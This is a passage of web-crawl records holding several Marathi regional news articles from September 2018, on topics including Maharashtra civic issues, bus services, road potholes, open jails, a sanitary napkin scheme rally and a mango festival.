आली. यावेळी या बैठकीत देशमुखांनी लिंगायत समाजाची जाहीर माफी मागावी अन्यथा याचे तीव्र पडसाद राज्यभर उमटतील असा इशारा देण्यात आला आहे.\nभारतात लोकशाही असल्यामुळे स्वतंत्र धर्म मागणे तसेच सोलापूर विद्यापीठास सिध्दरामेश्वर ( सिध्देश्वर ) विद्यापीठ या नावाची मागणी करणे हा लोकशाहीने दिलेला अधिकार आहे. सोलापूर विद्यापीठ नामांतराचा प्रश्न न्यायप्रविष्ठ असताना सहकार मंत्र्यांनी असे वक्तव्य करणे योग्य आहे का असा प्रश्न समितीच्या पदाधिकाऱ्यांनी उपस्थित केला. या बैठकीस लिंगायत एकीकरण समितीचे प्रमुख प्रा. संगमेश्वर पानगावे, शिवराष्ट्र सेवा संघाचे संस्थापक ॲड. निलेश करमुडी, भारतीय बसव सेनेचे संस्थापक ॲड. विश्वनाथ खोबरे, गनिमी कावा संघटनेचे रोहित चवळे, शिवा संघटनेचे माजी जिल्हाध्यक्ष जगन्नाथ कोळंबे, तसेच रामलिंग बिडवे, दत्ता उस्तुरगे, प्रभाकर धमगुंडे, शिवा कोरके, विरेश कोरे, कल्लप्पा झुल्पे, राजेश शेटे, आदी उपस्थित होते.\nजिल्हाभरात शिवसेनेचे चक्काजाम आंदोलन\nधानोरा येथील मजुरांचे रास्ता रोको आंदोलन\nपोलिसांच्या एनओसीनंतरच फटाके लायसन्सचे नूतनीकरण\nअपघात विमा योजनेतून 175 शेतकर्‍यांना मदत\nडिजिटल महाराष्ट्र, पेपरलेस ग्रामपंचायती कागदावर\nश्रीगोंद्यात दोन हरणांचा मृत्यू\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Asmita-rally-in-presence-of-Pankaja-Munde/", "date_download": "2018-09-25T16:50:40Z", "digest": "sha1:7YFLDRGGI6K2RELY3QIUV6JPXWZUD6AH", "length": 7970, "nlines": 37, "source_domain": "www.pudhari.news", "title": " ना.पंकजा मुंडे यांच्या उपस्थितीत ‘अस्मिता’ मेळावा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › ना.पंकजा मुंडे यांच्या उपस्थितीत ‘अस्मिता’ मेळावा\nना.पंकजा मुंडे यांच्या उपस्थितीत ‘अस्मिता’ मेळावा\nमहिला आणि किशोरवयीन मुलींना स्वस्त दरात सॅनिटरी नॅपकिन उपलब्ध करून देणार्‍या अस्मिता योजनेअंतर्गत राज्याच्या महिला व बालकल्याण मंत्री पंकजा मुंडे यांच्या प्रमुख उपस्थितीत उद्या (दि.12) सकाळी 10 वाजता ईदगाह मैदानावर महिला मेळावा आयोजित करण्यात आला आहे. यावेळी आनंदीबाई जोशी पुरस्काराचे वितरणही होणार आहे.\nअस्मिता योजनेमुळे मासिक पाळी, सॅनिटरी नॅपकिनसारख्या बाबींसंदर्भात महिलांमधील संकोच कमी होऊन त्यांच्यातील आत्मविश्‍वास व आरोग्य सुधारण्यास मोठी मदत होणार असल्याचा दावा करण्यात आला आहे. ही योजना सुरु केल्यानंतर पहिलाच महामेळावा नाशिकमध्ये होत असून या मेळाव्यामुळे अस्मिता योजना प्रभावीपणे ग्रामीण भागात पोहोचण्यास मदत होणार असल्याची माहिती जिल्हा परिषदेच्या अध्यक्षा शितल सांगळे व मुख्य कार्यकारी अधिकारी डॉ. नरेश गिते यांनी दिली.\nआजपर्यंत कोणीही मासिक पाळीसारख्या संवेदनशील विषयाला महत्व दिलेले नाही. मात्र ना. मुंडे यांनी यासाठी स्वतंत्र योजनाच सुरु केली आहे. तसेच नाशिक जिल्हा राज्यातील पहिला अस्मिता जिल्हा करण्याचा निर्धारही मुंडे यांनी केला आहे. जिल्ह्यात या योजनेचे औपचारिक उद्घाटन करण्यासाठी राज्य ग्रामीण जीवान्नोती अभियान, जिल्हा ग्रामीण विकास यंत्रणा व जिल्हा परिषद नाशिक यांच्यातर्फे अस्मिता मेळाव्याचे आयोजन करण्यात आले आहे. योजनेतंर्गत जिल्ह्यात आतापर्यंत 25,210 किशोरवयीन मुलींची नोंदणी शासनाच्या संकेस्थळावर करण्यात आली आहे.\nराज्यात मुलींच्या अस्मिता नोंदणीमध्ये जिल्हा राज्यात पहिल्या क्रमांकावर आहे. तसेच आतापर्यंत जिल्ह्यातील 610 बचतगटांनी शासनाच्या संकेत स्थळावर नोंदणी केली असून, 139 गटांनी शासनाकडे मागणी नोंदवली आहे.अस्मिता मेळाव्यासाठी जिल्हाभरातून 20 ते 25 हजार महिला उपस्थित राहणार आहे. या कार्यक्रमात नाशिक जिह्यातील 9 तालुके सन 2017-18 मध्ये हागणदारीमुक्त झाल्याबद्दल त्यांचा सत्कार करण्यात येणार आहे. त्याचप्रमाणे आरोग्य विभागाच्या पुरस्कारांचे वितरणही यावेळी करण्यात येणार आहे. जिल्हा परिषदेने तयार केलेल्या विकास प्रेरणा या मार्गदर्शक पुस्तिकेचे प्रकाशनही करण्यात येणार आहे. केंद्रीय संरक्षण राज्यमंत्री डॉ सुभाष भामरे, वैद्यकीय शिक्षण, जलसंपदा व लाभक्षेत्र विकासमंत्री गिरीष महाजन, ग्रामविकास राज्यमंत्री दादा भुसे, जिल्हा परिषदेच्या अध्यक्षा शितल सांगळे, महापौर रंजना भानसी, खासदार हरीश्चंद्र चव्हाण, खासदार हेमंत गोडसे उपस्थित राहणार आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Though-the-PMPML-bus-service-is-poor-the-dues-of-Rs/", "date_download": "2018-09-25T16:55:20Z", "digest": "sha1:EHWVT2IMFX7ZYWAGRI26AWXJ5OYEJZZS", "length": 8619, "nlines": 41, "source_domain": "www.pudhari.news", "title": " ‘पीएमपीएमएल’ बससेवा खराब असूनही साडेबावीस कोटींची खैरात | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › ‘पीएमपीएमएल’ बससेवा खराब असूनही साडेबावीस कोटींची खैरात\n‘पीएमपीएमएल’ बससेवा खराब असूनही साडेबावीस कोटींची खैरात\nपिंपरी-चिंचवड शहरात पीएमपीएलची सार्वजनिक व्यवस्थेबाबत अनेक तक्रारी असतानाही पीएमपीएलला संचानल तुटीपोटी 3 महिन्यांसाठी आगाऊ 22 कोटी 50 लाखांचा निधी देण्यास स्थायी समितीने बुधवारी (दि.5) आयत्या वेळी मंजुरी दिली आहे. तसेच विविध विकासकामांच्या खर्चासाठी सुमारे 9 कोटी 83 लाखांच्या खर्चासही मान्यता देण्यात आली.\nसभेच्या अध्यक्षस्थानी ममता गायकवाड होत्या. पीएमपीएलला सप्टेंबर, ऑक्टोबर व नोव्हेंबर या 3 महिन्यांसाठी 22 कोटी 50 लाखांची आगाऊ रक्कम देण्यास समितीने मंजुरी दिली. पीएमएमपीएलच्या सेवेबाबत सदस्यांनी नाराजी व्यक्त केली. तोट्यात असल्याचे कारण देत शहरातील अनेक भागांत बस बंद करण्यात आल्या आहेत. त्यामुळे प्रवाशांची गैरसोय होत आहे. तसेच सभांना पीएमपीएलचे प्रमुख अधिकारी उपस्थित राहत नाहीत.\nसार्वजनिक सेवेबाबत नगरसेवकांसमवेत बैठक घेण्याबाबत महापौर राहुल जाधव व स्थायी समिती अध्यक्षा गायकवाड यांनी 14 ऑगस्टला पत्र दिले आहे. मात्र, त्याबाबत पीएमपीएलच्या अध्यक्षा नयना गुंडे यांनी अद्यापपर्यंत कोणताही प्रतिसाद दिलेला नाही. मात्र, पुण्याचा महापौर मुक्ता टिळक यांनी 1 ऑगस्टला पत्र दिल्यानंतर लगेच बैठक घेतली. त्यामुळे त्या पुणे व पिंपरी-चिंचवड पालिकेत भेदभाव करीत आहेत. हा महापौरांचा अपमान आहे, असे सदस्य राजू मिसाळ यांनी सांगितले.\nकाळेवाडी फाटा ते देहू-आळंदी बीआरटीच्या बस थांब्यासाठी 2 कोटी 84 लाख 59 हजार, कार्यशाळेत विविध वाहने दुरस्तीसाठी 95 लाख आणि औंध रावेत रस्त्यावरील साई चौक येथील पुलास बाधा करणारी अति उच्चदाब वीजवाहिनी हलविण्यासाठी 53 लाख 63 हजार शुल्क महापारेषणला देण्यातस मान्यता देण्यात आली. वृक्षारोपणासाठी 2 हजार 500 रोपे खरेदीसाठी 15 लाख 71 हजार खर्चास मंजुरी देण्यात आली.\nनयना गुंडे न आल्यास बस खरेदीचा विषय तहकूब करू\nपीएमपीएलची सार्वजनिक वाहतूक अधिक सक्षम व्हावी म्हणून पिंपरी-चिंचवड महापालिका 200 बस खरेदी करून पीएमपीएलला देणार आहे. हा विषय मंजुरीसाठी उद्या होणार्‍या सर्वसाधारण सभेपुढे आहे. या सभेला पीएमपीएलच्या अध्यक्षा नयना गुंडे उपस्थित न राहिल्यास सदर विषय तहकूब करण्यात येईल, असे महापौर राहुल जाधव यांनी बुधवारी सांगितले.\nआता सभा दर मंगळवारी\nपालिकेमध्ये भाजपची सत्ता आल्यानंतर दर मंगळवारी होणारी सभा बुधवारी घेण्याची प्रथा सुरू करण्यात आली होती. मात्र, बुधवारच्या दिवशी व्यवस्थित कामकाज होत नसल्याचे समितीच्या लक्षात आले आहे. त्यामुळे या पुढे समितीची सभा पूर्वीप्रमाणे दर मंगळवारी दुपारी दोनला घेण्यात येणार आहे. समितीने पूर्वीच्या पदाधिकार्‍यांनी घेतलेले निर्णय बदलण्याचा सपाटा लावला आहे. त्यामध्ये आणखी एका निर्णयाचा समावेश झाला आहे. या निर्णयामुळे इतर विषय समितीच्या सभांचे नियोजन बदलावे लागणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Umbraj-bus-station-Inconvenient-Depot/", "date_download": "2018-09-25T17:15:04Z", "digest": "sha1:R5OWZUFNUQSTRAHPZCAJ3PXWK3C5NHDX", "length": 10794, "nlines": 41, "source_domain": "www.pudhari.news", "title": " उंब्रजचे बसस्थानक; गैरसोयीचे आगार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › उंब्रजचे बसस्थानक; गैरसोयीचे आगार\nउंब्रजचे बसस्थानक; गैरसोयीचे आगार\nउंब्रज : सुरेश सूर्यवंशी\nपंतप्रधान सुवर्ण चौरस योजनेतून साकार झालेल्या चौपदरीकरणांतर्गत उंब्रजमध्ये साकार झालेल्या भराव पूलाचा फटका ग्रामस्थ, व्यापारी यांच्याबरोबर एसटी महामंडळास बसला आहे. गेल्या पंधरा वर्षात कोल्हापूरहून पुणे, मुंबईला जाणार्‍या लांब पल्याची एसटी उंब्रज बसस्थानकात न येताच महामार्गावरून सुसाट जात आहेत. दरम्यान लांब पल्याच्या एसटी बसस्थानकात येत नसल्याने भविष्यात उंब्रजचे बसस्थानक नामशेष होते आहे की काय अशी शंका प्रवाशी वर्गाकडून व्यक्‍त केली जात आहे.\nपरिवहन मंत्री दिवाकर रावते यांनीच याप्रकरणी लक्ष घालून येथील प्रवाशांच्या व नागरीकांच्या समस्या सोडविण्याबरोबरच उंब्रज बसस्थानकाचा नूतनीकरण, विस्तारीकरणाचा प्रश्‍न मार्गी लावावा अशी अपेक्षा ग्रामस्थांकडून व प्रवाशाकडून व्यक्‍त केली जात आहे.\nसातारा जिल्हयातील महामार्गावरील सर्वात मोठे व मध्यवर्ती ठिकाण म्हणून उंब्रज ओळखले जाते. मात्र निमशहरी असणार्‍या उंब्रज गावास नावाप्रमाणे अद्यावत व सर्व सोयीनियुक्‍त असे बसस्थानक आजअखेर मिळू शकले नाही. उंब्रज बसस्थानक म्हणजे एकप्रकारे समस्यांचे आगारच म्हणावे लागेल. जुनी इमारत, इमारतीच्या पाठीमागे कचर्‍याचा ढिग, बंद स्थितीत असणारे फंखे, इमारतीला अनेक वर्षापासून रंगरंगोटी नाही, इमारतीचा विस्तार नाही, प्रवाशांना पिण्याचे शुध्द पाणी नाही, दुर्गंधीयुक्‍त शौचालय, महामंडळाच्या मोकळया जागेचा शौचालयासाठी होणारा वापर असे एक ना अनेक समस्या असलेले उंब्रजचे बसस्थानक आहे. (गत महिन्यात कार्यान्वीत करण्यात आलेली सी.सी.टीव्ही यंत्रणा वगळता) उंब्रजचे बसस्थानक हे महामार्गालगत असल्याने चौपदरीकरणाचा फटका बसस्थानकालाही बसला व उंब्रजचे बसस्थानक हे सर्व्हिस रस्त्याला राहिले.\nपरिणामी लांब पल्याच्या एसटी बसस्थानकात न येता महा मार्गावरूनच धावू लागल्या व आजही लांब पल्याच्या एसटी महामार्गावरूनच धावत आहेत. येथील ग्रामस्थांनी, विविध संघटनानी आंदोलने करूनही एसटी महामंडळाच्या अधिकार्‍यांनी याकडे लक्ष दिले नाही की त्यांच्या कामकाजात सुधारणा झाली नाही.\nभराव पूल अस्तित्वात आल्यापासून पुणे, मुंबईहून कराड, कोल्हापूरकडे जाणार्‍या लांब पल्याच्या एसटी उंब्रज बसस्थानकात न येता भराव पूलावरून धावू लागल्यामुळे प्रवाशांना विशेषतः लहान मुले, स्त्रिया यांना मोठी कसरत करून एसटी साठी भराव पूलावर खाली वर करावे लागत आहे. यामध्ये अनेक वेळा लहान मोठे अपघात होत आहेत. असंख्य गाडया उंब्रज बसस्थानकात येत होत्या. मात्र चौपदरीकरणानंतर केवळ लोकल एसटीच बसस्थानकात येत आहेत.\nमात्र संबंधित अधिकारी यांना त्याचे काय सोयरसुतक असेच म्हणावे लागेल. तर कोल्हापूरहून पुणे, मुंबईकडे जाणार्‍या एसटी कधीच उंब्रज बसस्थानकात आल्याचे प्रवाशांना आठवत नाही. एसटीचा महामार्गावरच (बेकायदेशीर) थांबा आहे. याठिकाणी खाजगी वाहनधारकांनी ठाण मांडल्याने हा थांबा अपघाताला निमंत्रण देणारा आहे, असेच म्हणावा लागेल.\nउंब्रज येथून कराडला जाणार्‍या विद्यार्थी, विद्यार्थीनींची संख्या मोठया प्रमाणात आहे. मात्र वेळेत एसटी नाही, त्यातूनही एसटी आलीच तर जादा एसटी आहे, विद्यार्थी पास चालत नाही, अशी कारणे वाहकाकडून दिली जातात. हीच अवस्था कराड बसस्थानकात उंब्रजला येणार्‍या विद्यार्थ्यांची होत आहे.\nलांब पल्याच्या एसटीमध्ये विद्यार्थ्यांना घेण्यास जाणीवपूर्वक टाळले जाते. याप्रकरणी गतवर्षी उंब्रजमध्ये विविध संघटनानी आंदोलनाचा इशारा दिल्यानंतर थोडी सुधारणा झाली. मात्र पुन्हा मागचे तेच पुढे अशी परिस्थिती होत आहे व यापुढेही होईल अशी भीती विद्यार्थ्याकडून व्यक्‍त केली जात आहे. दरम्यान, परिवहन मंत्री दिवाकर रावते यांनी उंब्रज येथील बसस्थानकाचा नूतनीकरण, विस्तारीकरणाचा प्रश्‍न मार्गी लावावा अशी अपेक्षा ग्रामस्थांकडून व्यक्‍त केली जात आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/Pandharpur-on-the-road-to-bajirao-vihir-potholes/", "date_download": "2018-09-25T16:53:41Z", "digest": "sha1:LEOJ5BOCZKJJLWDBRBJLDUDVJYIWATW4", "length": 7228, "nlines": 50, "source_domain": "www.pudhari.news", "title": " गादेगाव ते बाजीराव विहीर रस्त्यावर खड्डे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › गादेगाव ते बाजीराव विहीर रस्त्यावर खड्डे\nगादेगाव ते बाजीराव विहीर रस्त्यावर खड्डे\nराज्य शासनाने 15 डिसेंबरपर्यंत खड्डेमुक्त महाराष्ट्र केलेल्या घोषणाचा पंढरपूर तालूक्यात मात्र फज्जा उडला आहे. राज्याचे बांधकाम मंत्री चंद्रकांत पाटील यांनी केलेल्या निर्धाराला मात्र पंढरपूर तालुक्यातील सार्वजनिक बांधकाम विभाग व जि. प. बांधकाम विभागाने खोडा घातल्याचे चित्र दिसून येते. तालुक्यात खर्डी, गादेगाव परिसरातील रस्ता कोर्टी ते गादेगांव व गादेगांव ते बाजीराव विहीर रस्त्यावरील खड्डे बुजविण्यात आले नाहीत. या रस्त्यावर खड्डे इतके आहेत की हा रस्ता नेमका खड्ड्यात आहे का खड्ड्यात रस्ता आहे. हे समजत नाही. गेली 10 ते 15 वर्षापासून गादेगांव ते बाजीराव विहीर हा रस्ता दुरुस्तीच्या प्रतीक्षेत आहे. मात्र प्रशासनाकडून याबाबत कसलीही दखल घेतली जात नाही.\nया मार्गे सध्या मोठ्या प्रमाणात ऊस वाहतूक होत असून यामुळे रस्त्याला मोठ-मोठे खड्डे पडले आहेत. यामुळे वाहनधारकांना जीव मुठीत धरून प्रवास करावा लागत आहे.या मार्गावर अपघाता घडण्याची दाट शक्यता निर्माण झाली आहे.प्रशासनाने वाहनधारकांचा अंत न पाहता रस्ता दुरुस्तीचे कांम लवकरात लवकर हाती घेणे गरजेचे आहे. आषाढी यात्रेवेळी हा मार्ग प्रमुख मार्ग म्हणून वापरला जातो. यात्रेपूर्वी माती टाकून खड्डे बुजवले जातात. बरड वस्ती येथील चढावर मोठ मोठे खड्डे पडले असून यामुळे वाहतुकीस अडथळा निर्माण होत आहे.\nयाबाबत वारंवार पाठपुरावा करून ही याकडे जाणीवपूर्वक दूर्लक्ष केले जात आहे. यामुळे गादेगांवातील लोकांना पर्यायी मार्गाचा वापर करावा लागत आहे. या मार्गावरील गादेगांव ते बाजीराव विहीर ओढा, छोटे छोटे नाले रुंदीकरण करून घ्यावेत. प्रशासनाने या मार्गाच्या दुरुस्तीचे काम त्वरित हाती घेवून ग्रामस्थांना होणार्‍या त्रासातून मुक्त करावे. अशी मागणी होत आहे.\nसोलापूर विद्यापीठाला अहिल्यादेवींचेच नाव\nदूध उत्पादक संघांची चौकशी करून कारवाई करू : ना. जानकर\nयोगीराजेंद्र शिवाचार्य महास्वामींवर अंत्यसंस्कार\nआज विजापूर जिल्हा बंदचे विविध संघटनांचे आवाहन\nसंजय तेली नवे निवासी उपजिल्हाधिकारी\nतर कारखानदारांवर फौजदारी गुन्हे दाखल करा : खा. शेट्टी\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Vidarbha/Recognition-of-six-new-open-jails/", "date_download": "2018-09-25T17:08:45Z", "digest": "sha1:P6WKLMBSLPEM475LABNPPLENNXAAZTCY", "length": 5879, "nlines": 36, "source_domain": "www.pudhari.news", "title": " सहा नवीन खुल्या कारागृहांना मान्यता | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Vidarbha › सहा नवीन खुल्या कारागृहांना मान्यता\nसहा नवीन खुल्या कारागृहांना मान्यता\nशिक्षा झालेल्या कैद्यांमध्ये परिवर्तन घडविण्यासाठी गृह विभागाकडून खुल्या कारागृहांची संकल्पना राबविली जात आहे. सध्या अशी 13 कारागृहे कार्यरत आहेत. आता नव्याने सहा खुल्या कारागृहांना मान्यता देण्यात आली आहे. यात यवतमाळ, धुळे, वर्धा, लातूर, रत्नागिरी, सिंधुदुर्ग या जिल्ह्यांचा समावेश आहे.\nगंभीर गुन्ह्यात शिक्षा झालेल्यांना सुधारण्याची एक संधी दिली जाते. शिक्षेच्या काळात गुन्हेगाराचे वर्तन बघून त्याला खुल्या कारागृहात हलविले जाते. या खुल्या कारागृहात कैद्याकडून विविध स्वरूपाचे व्यवसाय व दैनंदिन काम करून घेतले जाते. रात्रंदिवस कारागृहाच्या दगडी भिंतीत राहण्याऐवजी शिक्षा झालेल्या कैद्यांना त्यांच्या वर्तनावरून मोकळ्या जागेत काम दिले जाते. यातून अनेक सकारात्मक परिणाम पुढे आले आहे.\nसध्या राज्यात 13 खुले कारागृह आहे. आता गृह विभागाने सहा नवीन खुल्या कारागृहांना मान्यता दिली आहे. यात यवतमाळ, धुळे, वर्धा, लातूर, रत्नागिरी, सिंधुदुर्ग या जिल्ह्यांचा समावेश आहे. बहुतांश कारागृहाकडे स्वत:ची शेतजमीन आहे. या शेतजमिनीवर बंद्यांना मजुरीचे काम दिले जाते. काही कारागृहात उद्योगही उभारण्यात आले आहे. या उद्योगांमध्ये कामगार म्हणून त्यांचा वापर केला जातो. खुल्या कारागृहातून शासनाला दुहेरी उद्देश साध्य करता येतो. कैद्याकडून कामही करून घेतले जाते. त्यातून प्रशासनाला आर्थिक उत्पन्न मिळते. शिवाय खुल्या वातावरणात गुन्हेगाराचे मत परिवर्तन करण्यात यश प्राप्त होते. कैदी शिक्षा पूर्ण होऊन बाहेर पडल्यानंतर तो एक सामान्य नागरिक म्हणून जीवन जगू शकतो.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B3%E0%A5%87-%E0%A4%B8%E0%A5%8C%E0%A4%A6%E0%A4%BE%E0%A4%97%E0%A4%B0%E0%A4%AE%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A5%87-%E0%A4%86%E0%A4%82%E0%A4%AC%E0%A4%BE/", "date_download": "2018-09-25T18:00:34Z", "digest": "sha1:Z2YYEUGQAZGKGWIBOIGLCP5JES75KFS4", "length": 7987, "nlines": 71, "source_domain": "pclive7.com", "title": "पिंपळे सौदागरमध्ये ‘आंबा महोत्सवाचे’ आमदार लक्ष्मण जगताप यांच्या हस्ते उद्घाटन | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपळे सौदागरमध्ये ‘आंबा महोत्सवाचे’ आमदार लक्ष्मण जगताप यांच्या हस्ते उद्घाटन\nपिंपळे सौदागरमध्ये ‘आंबा महोत्सवाचे’ आमदार लक्ष्मण जगताप यांच्या हस्ते उद्घाटन\nपिंपरी (Pclive7.com):- पिंपळे सौदागर येथे निर्मलाताई कुटे सोशल फाऊंडेशनच्या वतीने आयोजित करनण्यात आलेल्या ‘आंबा महोत्सवाचे’ उद्घाटन आमदार लक्ष्मण जगताप यांच्या हस्ते करण्यात आले. यावेळी नगरसेवक शत्रुघ्न काटे, नगरसेविका सुनिताताई तापकीर, जयनाथ काटे, बबनराव झिंजुर्डे, शेखर कुटे, स्वीकृत नगरसदस्य संदीप नखाते, अरुण चाबुकस्वार, अनिल नखाते, भानुदास काटे, वाल्मिक कुटे, चंदाताई भिसे, संजय भिसे, सुप्रिया पाटील, संजय कुटे, जेष्ठ नागरिक व समस्त ग्रामस्त उपस्थित होते.\nपिंपळे सौदागर मधील निर्मलाताई कुटे सोशल फाऊंडेशनच्या वतीने ३० जून पर्यंत आंबा महोत्सवाचे आयोजन करण्यात आले आहे. येथील रोज लँड सोसायटी शेजारील महापालिकेच्या नियोजित मैदानात हा महोत्सव भरविण्यात आला आहे.\nउद्घाटनानंतर आमदार लक्ष्मण जगताप यांनी सर्व आंबा विक्री स्टॉलवर जाऊन शेतकर्यांशी चर्चा केली. यावेळी बोलताना आमदार जगताप म्हणाले, कोकणातील कष्टकरी शेतकर्यांनी पिकवलेल्या आंब्याला या महोत्सवामुळे चांगला बाजारभाव मिळणार आहे. तसेच शेतकर्यांचा आंबा थेट ग्राहकांना दिल्याने परिसरातील नागरिकांना नक्कीच स्वस्त आणि चांगल्या दर्जाचा आंबा मिळणार आहे. निर्मला कुटे यांनी आयोजित केलेल्या या आंबा महोत्सवामुळे शेतकरी तसेच 